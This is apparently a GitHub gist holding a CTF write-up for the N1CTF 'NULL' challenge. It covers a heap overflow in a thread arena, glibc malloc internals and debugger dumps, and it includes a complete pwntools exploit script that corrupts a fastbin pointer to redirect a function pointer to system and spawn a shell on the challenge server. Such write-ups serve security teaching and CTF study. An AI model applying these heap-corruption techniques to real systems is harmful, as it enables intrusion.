Instantly share code, notes, and snippets.

# romanking98/null_writeup.md

Last active April 18, 2018 13:57
Show Gist options
• Save romanking98/630f2b3c7216ae389f4ea3ce551041e1 to your computer and use it in GitHub Desktop.

### NULL ( 17-18 solves)

Challenge makes a thread to do the job. So , a thread_arena is created on a new mmap_segment.

### Bug

``` for ( i = 0LL; ; i += v3 )
{
result = i;
if ( i >= size )
break;
v3 = read(0, (void *)(heap_ptr + i), size);
if ( v3 <= 0 )
{
write(1, "I/O error\n", 0xAuLL);
}
}```

We can overflow in thread's heap.

### Attack vectors

I discovered 2 attack vectors . Only 1 , however, could solve the challenge. Thankfully, I had source code for sysmalloc and arena .

Jump to PATH 2 for working solution. This one is just analysis.

### PATH 1

Overwrite top chunk with small size and then trigger _int_free in order to get an unsorted bin. Not same as House of Orange, since this works on thread_arena, and checks are different.

```if (av != &main_arena)
{
heap_info *old_heap, *heap;
...
}```

We need to reach _int_free codepath. See below code :

```if ((long) (MINSIZE + nb - old_size) > 0 && grow_heap (old_heap, MINSIZE + nb - old_size) == 0)
{
av->system_mem += old_heap->size - old_heap_size;
set_head (old_top, (((char *) old_heap + old_heap->size) - (char *) old_top)
| PREV_INUSE);
}
else if ((heap = new_heap (nb + (MINSIZE + sizeof (*heap)), mp_.top_pad)))
{
/* Use a newly allocated heap.  */
heap->ar_ptr = av;
heap->prev = old_heap;
av->system_mem += heap->size;
/* Set up the new top.  */
top (av) = chunk_at_offset (heap, sizeof (*heap));
set_head (top (av), (heap->size - sizeof (*heap)) | PREV_INUSE);

/* Setup fencepost and free the old top chunk with a multiple of
MALLOC_ALIGNMENT in size. */
/* The fencepost takes at least MINSIZE bytes, because it might
become the top chunk again later.  Note that a footer is set
up, too, although the chunk is marked in use. */
old_size = (old_size - MINSIZE) & ~MALLOC_ALIGN_MASK;
set_head (chunk_at_offset (old_top, old_size + 2 * SIZE_SZ), 0 | PREV_INUSE);
if (old_size >= MINSIZE)
{
set_head (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ) | PREV_INUSE);
set_foot (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ));
set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA);
_int_free (av, old_top, 1);
}
}
```

So, after we overwrite top chunk with small size, we need to still pass the following check:

`if ((long) (MINSIZE + nb - old_size) > 0 && grow_heap (old_heap, MINSIZE + nb - old_size) == 0)`

In House Of Orange, there was no `grow_heap` , everything was handled by __morecore(). Here , we need to make grow_heap return error.

Here is its source code :

```static int
grow_heap(heap_info *h, long diff)
{
size_t page_mask = GLRO(dl_pagesize) - 1;
long new_size;

new_size = (long)h->size + diff;
if((unsigned long) new_size > (unsigned long) HEAP_MAX_SIZE)
return -1;
if((unsigned long) new_size > h->mprotect_size) {
if (__mprotect((char *)h + h->mprotect_size,
(unsigned long) new_size - h->mprotect_size,
return -2;
h->mprotect_size = new_size;
}

h->size = new_size;
return 0;
}```

The only way to bypass this is if we made mprotect fail. So , if we made our heap segment close to a different memory segment. Normally, its above a non-readable,writable and executable page so that it can easily extend into it. But if we spam alloc to make it above a libc segment, and then overwrite top chunk, we can trigger _int_free.

``````gef➤  x/20xg 0x7f9503ffcfe0-0x800
0x7f9503ffc7e0:	0x0000000000000000	0x0000000000000000
0x7f9503ffc7f0:	0x0000000000000000	0x0000000000000000
0x7f9503ffc800:	0x0000000000000000	0x0000000000000000
0x7f9503ffc810:	0x0000000000000000	0x0000000000000000
0x7f9503ffc820:	0x0000000000000000	0x0000000000000000
0x7f9503ffc830:	0x0000000000000000	0x00000000000007b1
0x7f9503ffc840:	0x00007f9500000548	0x00007f9500000548  < - - Finally
0x7f9503ffc850:	0x00007f9503ffc830	0x00007f9503ffc830
0x7f9503ffc860:	0x0000000000000000	0x0000000000000000
0x7f9503ffc870:	0x0000000000000000	0x0000000000000000
``````

With this, we can do unsorted bin attack on known addresses (like in bss ), and also in the threads arena (partial overwrites) Unfortunately , that lead nowhere.

### Path 2

If we spam mallocs, then we can make possible a certain case where the mmap segments are continuous with each other, and the segment where we malloc will be right above the thread_arena, hence we will overflow into thread_arena.

VMMAP Output :

``````gef➤  v
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000402000 0x0000000000000000 r-x /home/ubuntu/china-ctf/distrib/null
0x0000000000601000 0x0000000000602000 0x0000000000001000 r-- /home/ubuntu/china-ctf/distrib/null
0x0000000000602000 0x0000000000603000 0x0000000000002000 rw- /home/ubuntu/china-ctf/distrib/null
0x0000000001ba8000 0x0000000001bc9000 0x0000000000000000 rw- [heap]
0x00007f5a78000000 0x00007f5a80000000 0x0000000000000000 rw- < -- we control
0x00007f5a80000000 0x00007f5a83ffd000 0x0000000000000000 rw- < -- thread_arena
0x00007f5a83ffd000 0x00007f5a84000000 0x0000000000000000 ---
0x00007f5a87071000 0x00007f5a87072000 0x0000000000000000 ---
``````

Now , OVERFLOW

Here we can either overwrite top chunk ptr to point in BSS.

I however chose to spam a fastbin freelist ptr in bss (near stdout), since malloc checks fastbin freelists first.

``````gef➤  x/20xg 0x00007f5a80000000
0x7f5a80000000:	0x000000000060201d	0x000000000060201d
0x7f5a80000010:	0x0000000003ffd000	0x0000000003ffd000
0x7f5a80000020:	0x0000000300000000	0x000000000060201d
0x7f5a80000030:	0x000000000060201d	0x000000000060201d
0x7f5a80000040:	0x000000000060201d	0x000000000060201d
0x7f5a80000050:	0x000000000060201d	0x000000000060201d
0x7f5a80000060:	0x000000000060201d	0x000000000060201d
0x7f5a80000070:	0x000000000060201d	0x00007f5a7fffff0a
0x7f5a80000080:	0x00007f5a7bffffc0	0x00007f5a80000078
0x7f5a80000090:	0x00007f5a80000078	0x00007f5a80000088
``````
``````gef➤  x/4xg 0x60201d
0x60201d:	0x5a87c368e0000000	0x000000000000007f
0x60202d:	0x0000000000000000	0x0000400af8000000
``````

Now we overwrite function ptr with system@PLT , and shell

Flag : N1CTF{a_singie_spark_burns_the_arena}

Exploit script :

```from pwn import *
import subprocess

def alloc(size, blocks, data):
r.sendlineafter('Action: ', '1')
r.sendlineafter('Size: ', str(size))
r.sendlineafter('blocks: ', str(blocks))
r.sendlineafter('(0/1): ', '1')
r.sendafter('Input: ', 'A'*8)

for i in xrange(4):
r.send(p64(0x411))

r.send(p64(0x411) * size)

return

def hack():

r.sendlineafter('Action: ', '1')
r.sendlineafter('Size: ', str(0xc8))
r.sendlineafter('blocks: ', "3")
r.sendlineafter('(0/1): ', '0')
#    r.sendafter('Input: ', 'A'*8)

#alloc(0xc8, 3, 'lel')
#raw_input()

for i in xrange(12):
r.sendlineafter('Action: ', '1')
r.sendlineafter('Size: ', "16300")
r.sendlineafter('blocks: ', "999")
r.sendlineafter('(0/1): ', '0')
print str(i) + "Iteration"
r.sendlineafter('Action: ', '1')
r.sendlineafter('Size: ', "16300")
r.sendlineafter('blocks: ', "334")
r.sendlineafter('(0/1): ', '0')
for i in xrange(14):
r.sendlineafter('Action: ', '1')
r.sendlineafter('Size: ', "200")
r.sendlineafter('blocks: ', "0")
r.sendlineafter('(0/1): ', '1')
r.recvuntil("t:")
lol = "C"*100
lol += str(i)
lol = lol.ljust(199,"D")
r.sendline(lol)
print str(i) + "Part 2"
r.sendlineafter('Action: ', '1')
r.sendlineafter('Size: ', "20")
r.sendlineafter('blocks: ', "10")
r.sendlineafter('(0/1): ', '0')

r.sendlineafter('Action: ', '1')
r.sendlineafter('Size: ', "600")
r.sendlineafter('blocks: ', "0")
r.sendlineafter('(0/1): ', '1')
r.recvuntil("t:")

buf = "X"*598
r.sendline(buf)
#    finale = "Y"*193
finale = "Y"
finale += p64(0x31)

finale += p64(0x00)*4
finale += p64(0x60201d)*2
finale += p64(0x0000000003ffd000)*2
finale += p64(0x0000000300000000)
finale += p64(0x60201d)*10
#    finale += "Z"*8
r.sendline(finale)
raw_input("SEE")

r.sendlineafter('Action: ', '1')
r.sendlineafter('Size: ', "96")
r.sendlineafter('blocks: ', "0")
r.sendlineafter('(0/1): ', '1')
r.recvuntil("t:")

lol = "/bin/sh\x00RRR"
lol += p64(0x400978)
lol = lol.ljust(95,"R")
r.sendline(lol)

r.interactive()

r = remote('47.75.57.242', 5000)
#r = process("./null")
raw_input()
r.recvuntil("28 ")
leak = r.recv(8)
cmd = "hashcash -m -b 28 %s" % leak
proc = subprocess.Popen([cmd], stdout=subprocess.PIPE, shell=True)
cmd = "hashcash -m -b 28 %s" % leak
(out, err) = proc.communicate()
print out
r.sendline(out)
hack()```

### pullp commented Apr 18, 2018 • edited

hello, I have a problem.
when I debug, I found that every time the offset between the thread_arena's malloc_state instance and begin of libc is different. so I don't know how many times I should spam malloc. can you tell me why. thanks a lot!

update:
I got it. every time there are some non-readable spaces and their sizes are random, but they don't affect the size I could malloc between thread_arena and libc